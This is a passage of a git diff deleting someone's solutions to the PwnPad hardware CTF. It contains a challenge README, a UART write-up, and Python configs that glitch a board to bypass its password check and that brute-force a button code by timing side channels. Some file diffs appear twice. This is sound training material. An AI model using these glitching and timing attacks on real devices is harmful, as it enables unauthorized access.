dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"} - - functions.add_text("[INFO] Starting full code discovery sequence") - - for digit_index in range(4): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}") - results = {} - - for test_pin in candidate_pins: - # Build the sequence: previously found digits + candidate repeated to fill 4 pulses - sequence = code_sequence.copy() - remaining_pulses = 4 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)}") - - # Send all pulses in the sequence, starting timer immediately before the fourth pulse - for i, pin in enumerate(sequence): - if i == len(sequence) - 1: - # Start timer immediately before sending the fourth pulse - start_time = time.time() - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - # Allow a short interval for the device to react - time.sleep(0.05) - # Wait for the input to go HIGH and capture result - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Safely extract duration from result or compute fallback - if isinstance(result, dict): - duration = result.get("duration_ms", - int((end_time - start_time) * 1000)) - else: - duration = int((end_time - start_time) * 1000) - - functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.") - results[test_pin] = duration - else: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - # small pause between candidates - time.sleep(0.8) - - # Choose the candidate with the longest duration for this digit - correct_pin = max(results, key=results.get) - code_sequence.append(correct_pin) - - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence - -def stop_glitch(): - functions.set_uart_switch(False) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png deleted file mode 100644 index 2620b36..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_setup.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py deleted file mode 100644 index 2671dec..0000000 --- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py +++ /dev/null @@ -1,7 +0,0 @@ -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 31250 - diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py deleted file mode 100644 index 0ee78c6..0000000 --- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py +++ /dev/null @@ -1,44 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', True], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### name, enabled, string to match ### -conditions = [ - ["Flag", True, "TS{", "stop_glitch"], -] - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py deleted file mode 100644 index 1185630..0000000 --- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py +++ /dev/null @@ -1,108 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', False], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - functions.run_output_low(0, 3000) - functions.run_output_low(1, 3000) - functions.run_output_low(2, 3000) - functions.run_output_low(3, 3000) - -def button_ok(): - functions.run_output_high(0, 15000000) # Can also run_output_low() if needed - functions.set_trigger_value(0, True) - functions.run_output_low(0, 3000) - - last_state = functions.get_trigger_value(0) - start_time = time.time() - - while True: - current_state = functions.get_trigger_value(0) - - # Detect rising edge: 0 → 1 - if last_state == 0 and current_state == 1: - functions.set_trigger_value(0, False) - functions.add_text("[code check complete]") - break - - # Exit if 1 second has elapsed - if time.time() - start_time >= 1.0: - functions.add_text("[timeout: no input detected within 1 second]") - break - - last_state = current_state - time.sleep(0.01) # Polling interval (10 ms) - - -def button_dash(): - functions.run_output_high(1, 1500000) ## can also run_output_low() if need too - functions.run_output_low(1, 3000) - -def button_space(): - functions.run_output_high(2, 1500000) ## can also run_output_low() if need too - functions.run_output_low(2, 3000) - -def button_dot(): - functions.run_output_high(3, 1500000) ## can also run_output_low() if need too - functions.run_output_low(3, 3000) - - -def echo_trigger_state(): - for channel in range(8): - state = functions.get_trigger_value(channel) - if state == 1: - functions.add_text(f"Channel {channel}: HIGH") - else: - functions.add_text(f"Channel {channel}: LOW") - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py deleted file mode 100644 index 94c453d..0000000 --- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py +++ /dev/null @@ -1,155 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - """ - Discover a five-digit code by sending candidate pulses and measuring the - interval from sending OK (pin 8) until input goes HIGH using wait_for(). - - For each digit: - - Send one pulse for previously found digits. - - Send repeated pulses of the candidate digit to fill 5 pulses. - - Pulse OK (pin 8) to trigger the device. - - Measure duration using wait_for() for input HIGH. - - Select candidate with the longest LOW duration before HIGH. - """ - candidate_pins = [9, 10, 11] - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} - - button_ok() - functions.add_text("[INFO] Pulsing output pin 8 to reset device...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - functions.add_text("[INFO] Starting full code discovery sequence...") - - for digit_index in range(5): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") - results = {} - - for test_pin in candidate_pins: - # Build sequence: previously found digits + candidate repeated - sequence = code_sequence.copy() - remaining_pulses = 5 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)} ...") - - # Send sequence pulses (without timing) - for pin in sequence: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.1) - - # Start timer and pulse OK (pin 8) - start_time = time.time() - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - - # Wait for input to go HIGH and measure duration - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Use the Arduino-provided LOW duration, fallback to timer if needed - duration = result.get("duration_ms", int((end_time - start_time) * 1000)) - functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") - - results[test_pin] = duration - time.sleep(0.3) - - # Select candidate with longest duration (correct digit) - correct_pin = max(results, key=results.get) - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - code_sequence.append(correct_pin) - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py deleted file mode 100644 index 01de69c..0000000 --- a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py +++ /dev/null @@ -1,152 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"} - - functions.add_text("[INFO] Starting full code discovery sequence") - - for digit_index in range(4): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}") - results = {} - - for test_pin in candidate_pins: - # Build the sequence: previously found digits + candidate repeated to fill 4 pulses - sequence = code_sequence.copy() - remaining_pulses = 4 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)}") - - # Send all pulses in the sequence, starting timer immediately before the fourth pulse - for i, pin in enumerate(sequence): - if i == len(sequence) - 1: - # Start timer immediately before sending the fourth pulse - start_time = time.time() - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - # Allow a short interval for the device to react - time.sleep(0.05) - # Wait for the input to go HIGH and capture result - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Safely extract duration from result or compute fallback - if isinstance(result, dict): - duration = result.get("duration_ms", - int((end_time - start_time) * 1000)) - else: - duration = int((end_time - start_time) * 1000) - - functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.") - results[test_pin] = duration - else: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - # small pause between candidates - time.sleep(0.8) - - # Choose the candidate with the longest duration for this digit - correct_pin = max(results, key=results.get) - code_sequence.append(correct_pin) - - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence - -def stop_glitch(): - functions.set_uart_switch(False) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py deleted file mode 100644 index f7e8036..0000000 --- a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py +++ /dev/null @@ -1,123 +0,0 @@ -import functions -import threading -import time - -###### Config values ###### -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 1000000 -UART_NEWLINE = "\n" - -LENGTH = 12 -REPEAT = 1 -DELAY = 0 - -### name, enabled, string to match ### -conditions = [ - ['run', True, 'Password:', 'try_glitch'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### Custom functions ###### -def try_glitch(): - Len = functions.get_config_value("length") - Rep = functions.get_config_value("repeat") - Del = functions.get_config_value("delay") - time.sleep(0.2) - - tx_thread = threading.Thread( - target=functions.send_uart_message, - args=("aaaaaaaaaaaaaaaaaaaaa",), - daemon=True - ) - - glitch_thread = threading.Thread( - target=functions.start_glitch, - args=(Len, Rep, Del), - daemon=True - ) - - glitch_thread.start() - tx_thread.start() - - try: - current_delay = int(Del) - except (ValueError, TypeError): - current_delay = 0 - - try: - current_repeat = int(Rep) - except (ValueError, TypeError): - current_repeat = 0 - - new_delay = current_delay + 1 - - if new_delay >= 51: - new_delay = 0 - new_repeat = current_repeat + 1 - if new_repeat >= 20: - new_repeat = 1 - functions.set_config_value("repeat", new_repeat) - - functions.set_config_value("delay", new_delay) - - -def stop_glitch(): - buf = functions.read_uart_buffer() - - if "TS{D@mn_y0u_@r3_g006}" in buf: - functions.start_glitch(16, 1, 0) - else: - functions.set_condition_value(0, False) - functions.set_uart_switch(False) - - -###### Inactivity watchdog ###### -def config_inactivity_monitor(timeout=5): - """ - Monitor 'delay' and 'repeat' configuration values. - Restart device if they do not change for 'timeout' seconds - AND condition 0 remains True. - """ - # Wait for functions.config to be initialised - while True: - try: - _ = functions.get_config_value("delay") - break - except AttributeError: - print("[Watchdog] Waiting for configuration to initialise...") - time.sleep(1) - - last_delay = functions.get_config_value("delay") - last_repeat = functions.get_config_value("repeat") - last_change_time = time.time() - - while True: - try: - current_delay = functions.get_config_value("delay") - current_repeat = functions.get_config_value("repeat") - condition_active = functions.get_condition_value(0) - - if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat): - last_change_time = time.time() - last_delay = current_delay - last_repeat = current_repeat - - if condition_active and (time.time() - last_change_time > timeout): - print("[Watchdog] Inactivity detected. Restarting glitch...") - functions.start_glitch(16, 1, 0) - last_change_time = time.time() - - except Exception as e: - print(f"[Watchdog Error] {e}") - - time.sleep(1) - - -# Start watchdog thread after slight delay to allow initialisation -def start_watchdog(): - time.sleep(2) # ensures 'functions.config' is ready - monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True) - monitor_thread.start() - - -threading.Thread(target=start_watchdog, daemon=True).start() diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png deleted file mode 100644 index 2620b36..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_setup.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py deleted file mode 100644 index 2671dec..0000000 --- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py +++ /dev/null @@ -1,7 +0,0 @@ -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 31250 - diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py deleted file mode 100644 index 